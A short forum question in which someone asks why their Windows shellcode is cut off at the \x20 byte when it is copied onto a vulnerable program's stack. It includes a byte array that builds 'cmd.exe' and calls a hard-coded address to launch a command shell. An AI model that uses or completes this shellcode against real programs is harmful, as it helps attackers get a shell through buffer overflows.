title: shellcode is truncated by \x20
body: <p>Why is my shellcode is truncated after <code>\x20</code> opcode, when it is copied by string to stack on a second vulnerable program?</p>
  
  <pre>--cmd.exe--
   char shell[]=
  
  "\xc7\x44\x24\x0c\x65\x78\x65\x20" &larr; only this line is put in stack, though hv a enough space 
  "\xc7\x44\x24\x08\x63\x6d\x64\x2e"
  "\x31\xc0"
  "\x89\x44\x24\x04"
  "\x8d\x44\x24\x08"
  "\x89\x04\x24"
  "\x8d\x05\xad\x23\x86\x7c"
  "\xff\xd0";
  --end shell--</pre>